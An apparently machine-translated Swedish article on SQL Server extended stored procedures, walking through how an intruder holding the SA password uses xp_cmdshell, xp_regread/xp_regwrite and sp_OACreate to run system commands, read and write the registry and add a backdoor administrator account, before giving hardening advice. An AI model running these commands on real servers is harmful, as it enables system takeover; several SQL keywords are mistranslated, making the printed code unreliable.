Lagrade procedurer är en samling förskrivna SQL-uttalanden lagrade i SQLServer, bland vilka de farligaste utökade lagrade procedurerna är xp_cmdshell, som kan köra vilka instruktioner som helst i operativsystemet, och SA är administratörskontot för Microsoft SQLServer, med högst behörighet, det kan köra utökade lagrade procedurer och erhålla returvärden, såsom exekvering:
Exec Master.. xp_cmdshell 'net user test 1234 /add' och exec master: xp_cmdshell 'net localgroup administrators test /add'
På detta sätt läggs ett användarnamngivet test, lösenord 1234 och administratörsrättigheter till den andra partens system, som visas i Figur 1.
Nu borde du förstå varför du skaffar SA-lösenordet och får systemets högsta privilegier. Ofta känner många nätverksadministratörer inte till denna situation och har några enkla lösenord som 1234 och 4321 för sina SA-användare, eller ställer till och med inga lösenord alls, så att nätverksinkräktare enkelt kan skanna SA-lösenordet med hackningsverktyg och sedan kontrollera datorn.
Utöver xp_cmdshell finns det även lagrade procedurer som kan utnyttjas av inkräktare:
1. xp_regread (denna utökade lagrade procedur kan läsa värdet som anges i nyckeln som anges i registret), hur man använder den (hämtar maskinnamnet):
FÖRKLARA@testvarchar(50) EXEC-mästare.. xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\computername\computername', @value_name='computername', @value=@test OUTPUT SELECT @test
2. xp_regwrite (denna utökade lagrade prozedur kan skriva det värde som anges i nyckeln som anges i registret), och hur man använder det (skriv bbb i nyckeln HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC-mästare.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='MJUKVARA\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
Om administratörsanvändaren på den komprometterade datorn kan bläddra bland informationen HKEY_LOCAL_MACHINE\SAM\SAM\ i registret, kan de två lagrade procedurerna xp_regread och xp_regwrite användas för att klona administratörsanvändaren och erhålla administratörsbehörigheter. xp_regdeletekey. xp_regdeletevalue kommer också att medföra säkerhetsrisker för systemet. 3. En serie OLE-relaterade lagringsprocedurer, denna serie av lagringsprocedurer har sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, användning:
DEKLARERA @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
På detta sätt lägger det andra systemet till en användarnamn test och en användare med lösenordet 1234, och kör sedan:
DEKLARERA @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run', null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--
Användartest, tillagd i Administratörsgruppen. Lösning: Ge SA ett lösenord som är tillräckligt komplext för att göra det svårt för cyberangripare att knäcka det. För säkerhetens skull behöver vi också använda lagrade procedurer i SQLS sp_addextendedproc sp_dropextendedproc ervers frågeanalysator sp_dropextendedproc radera lagrade procedurer som xp_cmdshell, och sedan använda sp_addextendedproc återställning när det behövs. Det bör noteras att borttagning av lagrade procedurer relaterade till OLE kan göra att vissa funktioner i Enterprise Manager blir oanvändbara, och författaren rekommenderar inte att ta bort dem här.
Nu när vi vet hur man använder SP_OACREATE kan vi gå till \WINNT \system32 för att hitta cmd.exe, net.exe och net1.exe tre filer, och ta bort alla användare som kan komma åt dem i "Egenskaper" – "Säkerhet", så att vi inte kan använda SP_OACREATE för att öka antalet systemanvändare, och vi kan lägga till åtkomstanvändare när vi behöver komma åt dessa filer.
|